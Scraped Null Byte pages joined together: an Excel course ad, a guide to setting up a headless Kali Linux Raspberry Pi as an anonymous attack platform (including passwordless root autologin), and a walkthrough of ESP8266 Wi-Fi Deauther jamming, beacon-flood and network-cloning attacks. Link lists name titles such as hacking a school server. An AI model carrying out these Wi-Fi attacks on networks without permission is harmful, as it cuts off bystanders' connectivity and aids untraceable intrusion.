Mavericks and YosemiteHack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterHow To:Get Root with Metasploit's Local Exploit SuggesterHack Like a Pro:How to Hack Your School's Server to Download Final Exam AnswersSPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHow To:Upgrade a Normal Command Shell to a Metasploit MeterpreterHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)How To:Exploit Java Remote Method Invocation to Get RootHack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:The Sims Social Ultimate Cheat EngineNews:Great photography cheat sheets
Master Excel with This Certification Bundle « Null Byte :: WonderHowTo
Microsoft Excel is one of the most useful tools you can bring into your professional life. However, as useful as Excel is, it can also be difficult to learn on your own. TheAll-In-One Microsoft Excel Certification Training Bundleis an incredible tool that will take you from Excel beginner to Master for $33.99, on sale for 98% off.Offering 50+ hours of content and 657 lessons, this Certification bundle will teach you everything from Dashboards & Data Visualization to Automation of Tasks with macros. Excel is a diverse tool that can do so much more than arrange your data, and this training bundle can show you how to best use everything Excel has to offer.The functions you would have to glean over years of trial and error are taught clearly and expertly in "Master 75+ Excel Formula & Functions with Hands-On Demos," and you can learn to apply your new expertise to your field with courses like "Speed Up Your Data Work with Beginner to Advanced Content on Excel."Excel is a unique tool because once you know how to use it well, it can work for you. Jobs that used to take days can be finished in hours with the right automation. With The Microsoft Excel Certification Bundle, you will learn everything you need to reduce your working hours and improve your productivity. The skills you take will be skills you can rely on to improve your productivity. Yassin Marco, a specialist in Excel with a BS in international management, is just one of the expert instructors behind the courses that will show you how to make a tool everyone knows into an advantage only a few capitalize on.Get The All-In-One Microsoft Excel Certification Training Bundlenow for $33.99, a discount of 98% compared to its regular listed price of $2000.Prices subject to change.Find Out More:All-In-One Microsoft Excel Certification Training Bundlefor Just $33.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Hack Your Business Skills with These Excel CoursesHow To:Make Excel Work for You with This Training BundleHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:Become a Data Wizard with This Microsoft Excel & Power BI TrainingHow To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:Harness the Power of Big Data with This 10-Course BundleHow To:Make Your New Year's Resolution to Master Azure with This BundleNews:Now's the Perfect Time to Brush Up on Your Excel SkillsHow To:Prep for a Lucrative Project Management Career with These CoursesHow To:Become a Productive Microsoft Apps Power User with 97% Off This Course BundleHow To:Become an In-Demand IT Pro with This Cisco TrainingHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:This Extensive Python Training Is Under $40 TodayHow To:This Training Will Make You an Excel Master for a Ridiculously Low PriceHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:Learn the Essential Skills to Start a Career in IT with This Affordable Online TrainingHow To:Master the Internet of Things with This Certification BundleHow To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:Become a Data-Driven Leader with This Certification BundleHow To:Learn the Most Widely Used Programming Language for $35How To:Learn to Code for Less Than $40How To:Supercharge Your Excel Skills with This Expert-Led BundleHow To:10 Coding, SEO & More Courses on Sale Right Now That Will Turn You into a Pro DeveloperHow To:These High-Quality Courses Are Only $49.99How To:Get Excel-Savvy with This 6-Course BundleHow To:Take Your Productivity to the Next Level with This Google Masterclass BundleHow To:Master the Adobe Creative Suite for $33How To:Go from Total Beginner to Cloud Computing Certified with This Top-Rated Bundle of Courses, Now 98% OffHow To:Learn Everything You Need to Become a Certified Developer & Project Management Pro for Less Than $40How To:This Python Bundle Can Teach You Everything You Need to KnowHow To:Here's the Ultimate Guide to Becoming a Data Ninja
How to Set Up a Headless Raspberry Pi Hacking Platform Running Kali Linux « Null Byte :: WonderHowTo
TheRaspberry Piis a credit card-sized computer that can crack Wi-Fi, clone key cards, break into laptops, and even clone an existing Wi-Fi network to trick users into connecting to the Pi instead. It can jam Wi-Fi for blocks, track cell phones, listen in on police scanners, broadcast an FM radio signal, andapparently even fly a goddamn missile into a helicopter.The key to this power is a massive community of developers and builders who contribute thousands of builds for the Kali Linux and Raspberry Pi platforms. For less than a tank of gas, aRaspberry Pi 3buys you a low-cost, flexible cyberweapon.A cyberweapon that fits anywhere? Name something else in your pocket that creates a fake AP in Czech.Image by SADMIN/Null ByteOf course, it's important to compartmentalize your hacking and avoid using systems that uniquely identify you, like customized hardware. Not everyone has access to a supercomputer or gaming tower, but fortunately one is not needed to have a solid Kali Linux platform.With over 10 million units sold, the Raspberry Pi can be purchased in cash by anyone with $35 to spare. This makes it more difficult to determine who is behind an attack launched from a Raspberry Pi, as it could just as likely be a state-sponsored attack flying under the radar or a hyperactive teenager in high school coding class.Thinking Like an AttackerThe Raspberry Pi has several unique characteristics that make it a powerful and easily accessible tool in a penetration tester's kit. In particular, the Pi is cheap and the components cost as little as a Lego set. Also, the Raspberry Pi is discreet; It's small, thin, and easy to hide. And thanks to running Kali Linux OS natively, it is flexible and able to run a broad range of hacking tools from badge cloners to Wi-Fi cracking scripts. By swapping the SD card and adding or removing components like apacket-injection capable wireless adapter, the Raspberry Pi can be customized to suit any situation.Raspberry Pi + projector = Kali on a huge screen.Image by SADMIN/Null ByteThe Raspberry Pi on OffenseFirst, it's important to manage your expectations and remain reasonable when selecting a Raspberry Pi as a hacking platform. The Raspberry Pi is not a super computer and doesn't have a tremendous amount of processing power. It's not well-suited to processor intensive tasks like brute-force WPA password cracking, or acting as a network attack as the connection is too slow to fool users. That being said, the Raspberry Pi is perfectly suited to many attack environments. We simply offload these tasks to bigger computers and use the Pi as a data collector.An active Raspberry Pi Wi-Fi jamming setup.Image by SADMIN/Null ByteIn my experience, the Raspberry Pi works exceptionally well as a Wi-Fi attack platform. Due to its small size and large library of Kali Linux-based attack tools, it's ideal for reconnaissance and attacking Wi-Fi networks. Our offensive Kali Linux build will be geared towards anonymous field auditing of wired and wireless networks.The Basic Components of Our Attack SystemHere are the basic components needed to build our Pi attack system, and why we need them. If you're just starting out,this excellent Raspberry Pi Kitfrom CanaKit includes most of what you need to get your Pi set up.Raspberry Pi: TheRaspberry Pi 3is the platform of these builds, coordinating and controlling all other components. Its low power consumption and flexible capabilities allow it to serve as a platform for running Linux-based operating systems besides Kali.Raspberry Pi 3.Image by SADMIN/Null ByteCommand and control (C2) wireless card: The purpose of the C2 wireless card is to automatically connect the Pi to the command AP (access point) such as your phone hotspot or home network. This allows remote control of the Pi discreetly or from a great distance via SSH (Secure Shell) or VNC (Virtual Network Computing). Fortunately for us, the Raspberry Pi 3 has a Wi-Fi card internally, but a wireless network adapter can also be added to a Raspberry Pi 2.Wireless attack card:: Our attack wireless card will be a Kali Linux-compatible Wi-Fi adapter capable of packet injection. This will be our attack surface and can be along-range,short-range, or directional antenna depending on attack requirements. You can find a greatguide to choosing one here.Don't Miss:Choosing a Wireless Adapter for HackingOS build cards: Themicro SD cardhosts the OS and brain of the computer and can be precisely configured for any desired environment. By creating customized cards, it is possible to rapidly change the configuration and function of a Raspberry Pi by simply swapping the card and components.Computer: You will also need a computer to download the firmware to load onto the micro SD card.Power supply: The Raspberry Pi uses a standard Micro-USB power supply, and nearly any Android phone charger or battery pack will work to power a Pi. This allows for a number of different battery configurations to suitlong-endurance reconnaissanceorcontinuously powered operations.My Raspberry Pi hacking kit.Image by SADMIN/Null ByteEthernet cable (optional): AnEthernet cableallows you to bypass wireless authentication by directly interfacing with local networks to which you have physical access. Specialized attacks likePoisonTapcan also take advantage of ethernet interfaces to infiltrate computers.Bluetooth keyboard (optional): ABluetooth keyboardis helpful for interfacing when you have an HDMI connection.Case (optional): Every Pi needsa case to protect it.Build ConsiderationsIn designing this tutorial, I considered two primary modes in which you would be operating the Raspberry Pi. In ouropen configuration, the Raspberry Pi is connected to a display via HDMI cord with inputs running through a wireless mouse and keyboard. In ourtactical configuration, you will use a laptop or smartphone to access the Raspberry Pi remotely via SSH. By connecting the Pi to our phone's hotspot or a nearby friendly AP, we can access the Raspberry Pi while still being able to use cellular data in the field.(Top) Lab configuration: Output over HDMI, input via Bluetooth keyboard. (Bottom) Tactical Configuration: Kali Linux via SSH.Images by SADMIN/Null ByteHow to Set Everything UpIn this guide, I'll show the steps needed to set up a Raspberry Pi 3 as a basic hacking platform with Kali Linux. I'll go over how to select a build to install, writing the disc image to a micro SD card, and the steps to run after first setting up your Pi. We'll update Kali Linux to the latest version to ensure everything works correctly, change the default SSH keys, and take care of some housekeeping like changing the admin password.Raspberry Pi in action connected to an HDMI output.Image by SADMIN/Null ByteAs a note, there are many ways to configure Kali on a Raspberry Pi 3. Some include touchscreens, some are completely headless (accessed via network connections without a keyboard or display), and others use the internal Wi-Fi card to create a hotspot for remote control of the Pi. In selecting this build, I discounted any designs that included a power-hungry and fragile touchscreen or additional hardware, and settled a version optimized for our two different C2 scenarios.Step 1: Download Kali Linux Image for the Raspberry PiHead toOffensive Securityand download the latest Kali Linux image for the Raspberry Pi. As of this writing, it is "RaspberryPi 2 / 3" on version 2.1.2.Step 2: Flash the Image to the Micro SD CardYou can use a tool likeApplePiBaker for MacorEtcherto load your Kali image onto your SD card, but sometimes these can result in errors. To prevent that, we'll cover how to do this via Terminal on a Mac. If you use Windows, you can useWin32 Disk Imagerto put your image on the card.On a Mac, before plugging in your SD card, run the following in Terminal:df -hThis will display a list of all the disks attached to your system. Attach your SD card and run the command again, and note the filesystem name of your SD card (it's the one that wasn't there before). It should look like "/dev/disk2s1" and you should be very careful not to mix this up in the next steps, since doing so could overwrite your hard drive.The available drives.Now, we'll use theddcommand to load the Kali image onto the card.Use "man dd" to see the rest of the operands for dd.First, let's unmount the partition so you can write to it with the following command, with "x" being the correct disk number:sudo diskutil unmount /dev/diskXNow we're ready to load Kali. Type, but don't run the command,sudo dd bs=1m if=and enter the location of the Kali Linux image we want to load onto the card. You can drag and drop the disk image into the window to show the file path. After that, type a space, thenof=/dev/rdiskand the number of the disk from before.If there is an "s" after the initial disk number (like rdisk2s1), do not include the "s" or following number. So, "rdisk2s1" should look like "rdisk2." Here's what it should look like altogether:sudo dd bs=1m if=LocationOfKaliImage of=/dev/rdiskXPress enter to begin the process, and note thatdddoes not provide any on-screen information unless there is an error or it finishes. To view the progress during the transfer, you can typeCtrl T. Wait for the process to complete. You'll know the process is complete when you see a readout of bytes transferred over the time the process ran.It will look like the screenshot below (if you pressCtrl Ta few times during the transfer) when complete.Mashing Ctrl T to see the status—took 1,131 seconds to transfer!Step 3: Boot into Kali LinuxWhen finished, your SD card is ready to go! Insert the SD card into your Pi, connect it to HDMI, and attach your Bluetooth keyboard. Plug in the power source to boot into Kali Linux for the first time. To get to the desktop, your default login is "root" with "toor" being the password.Kali Pi with power, HDMI, Ethernet, Bluetooth receiver, and secondary wireless adapter attached.Image by SADMIN/Null ByteThe login process is a problem for autonomous control, and we will need to disable it later. This will let us plug our Pi in and immediately connect to it remotely without a screen.First boot of Kali.Image by SADMIN/Null ByteStep 4: Update Kali LinuxKali Linux is a special flavor of Debian Linux meant for penetration testing, and a favorite here on Null Byte. It's compatible with some of the best and most advanced tools available for wireless hacking, and flexible enough to support a large number of hacking builds. It's maintained by Offensive Security, and you'll need to update it to the latest version to make sure all the tools work properly.Before running, now is a good time to expand your installation to the size of the partition. To do so, run the following:resize2fs /dev/mmcblk0p2At the top right of the desktop, you'll see an option to connect to a nearby wireless network. Connect to your phone's hotspot or a friendly AP to fetch the update. Run the update by opening a terminal window and typing the following:apt-get update apt-get upgrade apt-get dist-upgradeYour Kali install is now up to date. Update the root password to something more secure than "toor" by typing:passwd rootThen enter a new password for your Kali Linux system.Step 5: Install OpenSSH ServerTo communicate with our Raspberry Pi from a computer or phone, we'll need to be able to log in. To do so, we can use SSH to connect via any Wi-Fi connection we share with the Pi. SSH, or the Secure Shell, is a network protocol that allows us to run commands remotely on a device. This means we don't need to plug in a screen to interact with our Pi.In a terminal, run the following to install openSSH server and update the runlevels to allow SSH to start on boot:apt-get install openssh-server update-rc.d -f ssh remove update-rc.d -f ssh defaultsThe default keys represent a huge vulnerability since anyone can guess them. Let's change them immediately by running the following commands:cd /etc/ssh/ mkdir insecure_old mv ssh_host* insecure_old dpkg-reconfigure openssh-serverThis backs up the old SSH keys in another folder and generates new keys. Problem solved! Now let's make sure we can log in via root by typing:nano /etc/ssh/sshd_configThis will open your SSH configuration folder. Change this line:PermitRootLogin without-passwordTo this line instead:PermitRootLogin yesAnd typeCtrl Oto save the changes. If it already is correct, you don't need to change anything.Configuring sshd_config.Great! Let's restart the SSH service by typing:sudo service ssh restart update-rc.d -f ssh enable 2 3 4 5Finally, to test that we've got SSH working, use the following to see if SSH is currently running.sudo service ssh statusWe should see something like this if we are successful.If it's not, run this to get it going:sudo service ssh startIf you find SSH doesn't work, you can useraspi-configas a workaround. It's meant for Jessie, but it'll work on Kali, too. To use it, first clone fromGitHub, typesudo mount /dev/mmcblk0p1 /bootto mount the boot partition,cdto the directory, and runsudo bash raspi-config.Step 6: Create a Custom MOTDOf course, the speed and power of your hacking computer is directly related to how cool your message of the day (MOTD) banner is. You will be greeted with this upon successful login, andtraditionally is used with some ASCII artto spice things up.Create your own by typing:Nano /etc/motdDelete the contents and paste whatever you want to show up each time you log in.Save and exit nano by hittingCtrl O, thenCtrl X.Step 7: Test Login via SSHLet's try logging in from your home computer or laptop. Connect the Pi to the same wireless network your home or work computer is on. Run the commandifconfigon your Pi in terminal to learn your IP address.ifconfigIn the comments, some people mentioned getting an error here. If so, try runningsudo apt-get install net-toolsto determine if you don't have net-tools installed. Runifconfigagain and see if it works. Thanks toN1GHTANG31for pointing this out!Here, our IP is seen as 10.11.1.144.On your personal computer, type:ssh root@(your IP address)You should see your MOTD screen!A simple MOTD on successful SSH login.If not, you can run anarp-scanon a Mac to see a list of all available devices on the network if you need to find your Pi's IP address from personal computer.Step 8: Configure Autologin for Headless OperationSometimes, we will want to be able to log into an account other than root. Let's create a new user named WHT (or whatever you like) with root permission by running:useradd -m WHT -G sudo -s /bin/bashChange WHT's (or whatever you named it) password to something more secure than "toor":passwd WHTGreat! Now let's disable that login from before so we can boot directly into Kali, and our wireless cards will start up and connect to allow us remote control. To do so, type:nano /etc/lightdm/lightdm.confAnd delete the # before these lines:autologin-user=root autologin-user-timeout=0Save and exit withCtrl X. Next, type:nano /etc/pam.d/lightdm-autologinAnd you'll need to change this starting on line 11:# Allow access without authentication auth required pam_succeed_if.so user != root quiet_success auth required pam_permit.soTo this:# Allow access without authentication ###auth required pam_succeed_if.so user != root quiet_success auth required pam_permit.soSave and exit, and type "reboot" into terminal to restart your Pi to test.Test Your Build Against This ChecklistIn order to be considered field ready, your device must pass this checklist:The device starts up, logs on without prompting for a password, and starts SSH at boot allowing remote access.The device connects to the command AP to enable remote control (does this by default after connecting the first time).Runbesside-ngscript on attack antenna to test packet injection (tutorial for this).The Pi can be shutdown without corruption to the data on the micro SD card (boots normally after shutdown).Pass all the requirements? Then your Raspberry Pi is ready to hit the road. I'll be writing a series of Pi-based builds, so keep up with me by building your own Raspberry Pi-based Kali Linux computer.UsingFluxionwith a Raspberry Pi and projector.Image by SADMIN/Null ByteDon't Miss:How to Hack Wi-Fi: Capturing WPA Passwords by Targeting Users with a Fluxion AttackFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableRaspberry Pi:Hacking PlatformHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Hack WPA WiFi Passwords by Cracking the WPS PINThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019Raspberry Pi:Physical Backdoor Part 1How To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyNews:These Guys Hacked Together a Raspberry Pi & Car Steering Wheel to Play Mario KartHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterRaspberry Pi:MetasploitHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Install OpenVAS for Broad Vulnerability AssessmentHow To:Modify the USB Rubber Ducky with Custom Firmware
How to Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi Deauther « Null Byte :: WonderHowTo
The price ofhacking Wi-Fihas fallen dramatically, andlow-cost microcontrollersare increasingly being turned into cheap yet powerful hacking tools. One of the most popular is theESP8266, an Arduino-programmable chip on which theWi-Fi Deautherproject is based. On this inexpensive board, a hacker can create fake networks, clone real ones, or disable all Wi-Fi in an area from a slick web interface.The Rise of Microcontrollers as Offense Wi-Fi ToolsWi-Fi hacking has usually relied on a couple of pieces of hardware to do the trick. First, you'd need a computer capable of running whatever attack program you're trying to use. Second, you'd needa wireless network adapterwith a chipset that supports whatever bad Wi-Fi thing you're trying to do. Things could get expensive, with the cheapest combination of aRaspberry Piand a wireless network adapter still coming in at around $70 to get started.For a lot less, microcontrollers are capable of many of the same attacks thelarger and more expensive Raspberry Pican do. While a microcontroller isn't capable of running a full operating system likeKali Linux, they are often easier to run due to the simple way in which they are programmed. It's made even more simple by the fact that these microcontrollers can be programmed in the popular Arduino IDE, allowing projects to be easily shared.Don't Miss:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUWhile Wi-Fi-enabled microcontrollers like the ESP8266 do not officially support attacking Wi-Fi networks, and old SDK allows a hacker to build packets manually, thus being able to emulate many kinds of useful packets. That led CS student andchicken-in-spaceStefan "Spacehuhn" Kremser to create the Wi-Fi Deauther, a program for the ESP8266 capable of several powerful Wi-Fi attacks.The ESP8266 Deauther ProgramThe most useful packets the Wi-Fi Deauther can create are deauthentication and disassociation packets. These packets are often abused because they are unauthenticated, meaning anyone on a network can send them to anyone else while pretending the messages are coming from the router. When a device on the Wi-Fi network receives the packet, it immediately disconnects from the network. The Wi-Fi Deauther does this over and over, spamming connected devices with "disconnect" messages. It results in a "jamming" effect on the network as devices cannot connect fast enough to avoid being instantly kicked off.That's not the only trick the Deauther program has up its sleeve. It's also capable of scanning for both nearby access points and connected devices, and cloning any Wi-Fi network it sees. It can also generate dozens of fake Wi-Fi networks with any names you want, monitor channels for packet traffic between devices, and do all of this from a fancy built-in web interface similar to aWi-Fi Pineapple.Don't Miss:Use an ESP8266 Beacon Spammer to Track Smartphone UsersThe Wi-Fi Deauther program can be run on nearlyany ESP8266-based development board, including theNodeMCU, theD1 Mini, andothers. These boards are cheap and can be as low as $2 to $6 depending on the manufacturer, and they allow anyone to get started hacking Wi-Fi.While the cheapest boards are a good start, they lack a few things that make the Deauther a lot more useful. The most simple, cheap boards have no screen, no buttons or controls, and no indicators to know what's going on just by looking at the device. To control it, you'd need to log in to the web interface or buy and attach the hardware yourself.The ESP8266 Deauther BoardFortunately, Spacehuhn partnered with a board producer to create a custom ESP8266-based development board for security projects. This version of the ESP8266 features options that can be explored through a (somewhat fragile) selector switch that scrolls through menu options on an OLED display. The board allows any external antenna to be mounted on it, features an RGB LED for showing what mode the device is in, and connects either to a LiPo battery or USB power source directly.Image by Kody/Null ByteUpon powering up the custom board, it's easy to scroll through the options to operate the board by hand. It's is a leg up on even the Raspberry Pi, which tells you almost nothing just by plugging it in without a screen. With only a battery pack, you can power the Deauther board, select a target, and launch an attack without the need for a viewing or controlling device, as is often the case with devices like thePi Zero W.Due to reliability issues with cheap suppliers and the numerous hardware benefits the official board offers, I highly recommend theofficial DSTIKE versionfor anyone wanting to try this project, which costs $12. There are some copycat versionsavailable on Amazon, but they usually cost more and, again, could come from cheap suppliers. Also, while it's possible to do this with a cheap NodeMCU, you'll need a second device to log in and control the device.What You'll NeedTo get started with the Wi-Fi Deauther project, you'll need an ESP8266-based development board. The best way to follow the project and stay involved with updates to the software is to purchase the original board design on Tindie. This project should work with the following Spacehuhn-designed boards.DSTIKE WiFi Deauther MiNiDSTIKE WiFi Deauther OLED V4DSTIKE Deauther Wristband V2DSTIKE WiFi Deauther Monster V2While all of these boards are unique and come with different hardware, all are based on the ESP8266, and any will work with the Wi-Fi Deauther program. Also, buying them supports the researcher behind the program, and it gives you access to extended hardware features that make the board more useful without needing a second device to control it.While there arerip-offsof the designs available for less or even more, they often don't use the same hardware or use cheaper manufacturing techniques, leading to frustrating failures that add up over time.Real and fake Deauther boards for comparison.Image viaSpacehuhn's GitHubIf you're on a budget and don't mind using a device without a screen, you can do this project for cheap with either of the following boards. You can read more about the kinds of boards that will work for this projecton Spacehuhn's GitHub page.D1 Mini with antenna connectorTZT NodeMCU (NOT version 3)There are several versions of the NodeMCU, but only the version 1.0 fits nicely on a breadboard. The V3 is not as good for this project.Image viaSpacehuhn's GitHubAside from the board, you'll need a computer or smartphone with Wi-Fi to join the network that the board creates. You'll need aMicro-USB cableto supply power, and a power source like a battery to plug it in to. Once you have a computer or smartphone to control the Deauther, with Micro-USB cable and power source, as well as a network you have permission to test out the Deauther on, you're ready to begin.Step 1: Get Your Board ReadyIf you have the original board, it should come preloaded with the latest Wi-Fi Deauther program. You should be able to power on the board by plugging it into a USB power source and using the screen and selector switch to scroll through the menu options directly. Be careful with the selector switch, though, as it has a tendency to become unsoldered from the board and requires some basic knowledge of soldering to reattach.Skip to Step 2 if you're using the original Deauther board. If not, you'll need to take a few steps to get set up. First,download and install the Arduino IDE. Once you've done that, you'll need to click on the "Arduino" or "File" drop-down menu, then select "Preferences" from the menu that appears. Next, click the dual-window icon next to theAdditional Boards Manager URLsfield, then paste the following URLs, one each to a line. Once that's complete, click "OK" to save, then "OK" again to close the menu.http://arduino.esp8266.com/stable/package_esp8266com_index.json http://phpsecu.re/esp8266/package_deauther_index.jsonNext, you'll need to add the board you're using to theBoards Manager. To do this, you'll need to click on "Tools," then hover over the "Board" section to see the drop-down list of supported boards. At the top, click "Boards Manager" to open the window that will allow us to add more boards.When theBoards Managerwindow opens, type "esp8266" into the search bar. Select and install both "arduino-esp8266-deauther" and "esp8266" to add support for the board to your Arduino IDE.Once that is done, you should be ready to program your board. Plug your ESP8266-based board into your computer. When you click on "Tools," you should see the correct port auto-selected, but if not, click on the "Board" option and select the correct one under theDeauther Modulessection.If you're using a bad cable, the port may not show up, so if you don't see anything after you've completed the other steps, try another cable first. If you still don't see anything, there's a good chance you need to install a driverby following these instructions, which is common when using cheap knockoff boards.Now, let's download the code onto the ESP8266-based Deauther board. Clone the repository with the command below, and then move the "esp8266_deauther" folder into your "Arduino" folder.~# git clone https://github.com/spacehuhn/esp8266_deauther.gitWhen it's done downloading, open the "esp8266_deauther.ino" file with Arduino from inside the "Arduino" folder. Check your upload settings to make sure your board is properly selected, and press upload to send the program to the ESP8266 device!Step 2: Look for the Control Access PointOnce your Wi-Fi Deauther board is powered, you shouldn't need a screen to interact with it. While it's convenient to have a display to see what's going on, we can rely on the web interface to control the ESP8266 device as well.Don't Miss:Detect When a Device Is Nearby with the ESP8266 Friend DetectorThese chips are amazing because they can be put into many Wi-Fi modes, with the ability to join or even become their own Wi-Fi network. If you look on a smartphone or computer, you should see a Wi-Fi network nearby named "pwned." This is a network being created by our Deauther board!To access it, connect to the Wi-Fi network and enter the password "deauther" to join. Then, in a browser window, you can navigate to the default IP address of192.168.4.1or simply typedeauth.meto access the web interface the Deauther board is creating.Now, agree to the notice that appears advising you not to do anything bad with this project. Once you agree, you'll have access to the control interface for the device.Step 3: Perform a Scan of the AreaFirst, let's take a scan of the area around us. The first page you'll find yourself on is the "Scan" page, which breaks down results into a few easy to understand categories. First, there are access points. This will give you a list of every device advertising a Wi-fi network in range.Further down the list, you'll see devices that are connected to a network, as well as which network they are connected to. You can select the "Add" button to save a particular device or network to your target list. Here, we'll select "spot 2.4 ghz" as the network we want to target.Once you've selected a network to target, we can move on to the "SSIDs" menu by clicking on the menu shortcut in the top left of the screen.Step 4: Select Target NetworksIn the "SSIDs" section, we'll be able to clone networks, create fake networks, or simply Rickroll everyone.The top field is for specifying any fake network we want to create. This includes the SSID, or network name, whether or not the network uses WPA security, and how many networks you want to create.If you selected an access point before, you can click "Clone Selected APs" to generate clones of the targeted network. There is also a module to generate random SSIDs, including several that are just the lines to "Never Gonna Give You Up."In the image below, we cloned the network many times, making it very hard to find the correct network.Step 5: Launch an AttackNow, let's check out the attacks we can launch in the "Attacks" section of the menu. Here, we can see three primary kinds of attacks.Deauth: This will attack any network in range, disconnecting it from Wi-Fi until you disable it. It's worth mentioning that you are connected to the device via Wi-Fi, and this makes it likely that you may unintentionally prevent yourself from connecting to the device to turn it off. If you find yourself disconnected and you can't get back in, you may need to unplug the board to get it to stop.Beacon: This attack will create up to a thousand fake networks, either cloning nearby networks or creating entirely fake ones from scratch.Probe: Here, the board will send probe requests asking for a network name that's in the list you specify. This will confuse some Wi-Fi trackers and also sometimes cause Wi-Fi attack tools to create fake networks in response to the network names contained in the probe requests.To begin the deauthentication attack, make sure you are somewhere where the only networks that are in range are ones you have permission to attack. Once you are, click the "Start" button next to the "Deauth" attack. When you feel the Wi-Fi devices in your local area have had enough punishment, click "Stop" to end the attack.Don't Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackThe original Wi-Fi Deauther board also comes with the ability to add an external antenna. By doing so, it's possible to extend or change the range of the device by adding adirectional antenna.Step 6: Customize Your SettingsNow that we've explored the main attacks, we can also configure the board via the "Settings" tab on the top left of the screen. Clicking on it will bring up a menu page allowing you to do things like change the name of the network used to communicate with the board, change the password, and change the channel the device broadcasts its network on.Here, you'll also find an option to create a "Hidden" network, which might seem more stealthy to connect to. In fact, any device you connect to a hidden network will start calling out that network name any time the Wi-Fi is left on, making your phone more trackable.The reasons devices that have connected to a hidden network always call for them is because they know the station is not broadcasting its network name, so it's up to your device to always be asking if it is nearby.You can customize settings as much as you like here, but be careful not to disable the Wi-Fi portal and the serial connection at the same time. Doing so will leave you with no way to communicate with the board, so make sure you leave at least one enabled to allow you to get back in.Once you update your password and the name of your command-and-control Wi-Fi network, you're ready to use the Wi-Fi Deauther anywhere, from any device. After making any changes to the menu or any other settings, make sure to press "Save" and "Reload" to apply the changes you made.Microcontrollers Are Cheap, Efficient Cyber WeaponsThe Raspberry Pi was revolutionary in giving access to powerful hacking tools to anyone who can afford a $35 board. With the Wi-Fi Deauther board, the boundaries of what can be done with low-cost Wi-Fi hardware has been pushed even further than before.While microcontrollers don't offer a full operating system to work with like a Raspberry Pi, the powerful attacks they're capable of on their own make them more than worth checking out. While the Wi-Fi Deauther board can't capture the numerous WPA handshakes it generates from nearby networks while in operation by itself, it's a perfect companion tool for capturing WPA handshakes in Kali for later cracking.I hope you enjoyed this guide to the Wi-Fi Deauther project! If you have any questions about this tutorial on the Wi-Fi Deauther board, leave a comment below, and feel free to reach me on [email protected]'t Miss:Capturing WPA Passwords by Targeting Users with a Fluxion AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Hack Networks & Devices Right from Your 